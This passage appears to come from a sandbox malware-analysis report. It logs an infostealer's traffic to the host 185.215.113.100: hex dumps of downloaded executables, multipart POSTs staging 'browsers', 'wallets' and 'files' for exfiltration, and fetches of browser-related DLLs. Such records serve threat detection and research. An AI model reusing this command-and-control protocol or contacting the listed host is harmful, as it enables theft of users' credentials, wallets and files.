c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 23:22:12 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 31 Aug 2024 23:22:12 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGCHost: 185.215.113.100Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 31 35 39 36 42 30 31 34 33 46 33 32 33 35 31 31 34 31 39 39 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 2d 2d 0d 0a Data Ascii: ------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="hwid"741596B0143F3235114199------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="build"leva------BFHJECAAAFHIJKFIJEGC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAFIJDGHCBFHJKFCGIEHost: 185.215.113.100Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 2d 2d 0d 0a Data Ascii: ------HCAFIJDGHCBFHJKFCGIEContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------HCAFIJDGHCBFHJKFCGIEContent-Disposition: form-data; name="message"browsers------HCAFIJDGHCBFHJKFCGIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIJJKKFHIEHJKECGCGCHost: 185.215.113.100Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 45 43 47 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 45 43 47 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 45 43 47 43 47 43 2d 2d 0d 0a Data Ascii: ------FIIJJKKFHIEHJKECGCGCContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------FIIJJKKFHIEHJKECGCGCContent-Disposition: form-data; name="message"plugins------FIIJJKKFHIEHJKECGCGC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAEBFIJKEBGHIDHIEGIHost: 185.215.113.100Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 2d 2d 0d 0a Data Ascii: ------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="message"fplugins------FCAEBFIJKEBGHIDHIEGI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBKKJDHJJJKECGIIIHost: 185.215.113.100Content-Length: 7063Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBAFBKEGCFBGCBFIDAKHost: 185.215.113.100Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDAAECAEBKJKFHJKECFHost: 185.215.113.100Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEBGDAFHJEBGDGIJDHHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 48 2d 2d 0d 0a Data Ascii: ------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJJEBGDAFHJEBGDGIJDHContent-Disposition: form-data; name="file"------JJJEBGDAFHJEBGDGIJDH--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAKKKKJDBKKFIEBKEHDHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="file"------ECAKKKKJDBKKFIEBKEHD--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBGHost: 185.215.113.100Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHJEBFBFHJECAKFCAAHost: 185.215.113.100Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 2d 2d 0d 0a Data Ascii: ------GHDHJEBFBFHJECAKFCAAContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------GHDHJEBFBFHJECAKFCAAContent-Disposition: form-data; name="message"wallets------GHDHJEBFBFHJECAKFCAA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJKHost: 185.215.113.100Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="message"files------BGCBGCAFIIECBFIDHIJK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBFIIIEHCFHJKFHDHDAHost: 185.215.113.100Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 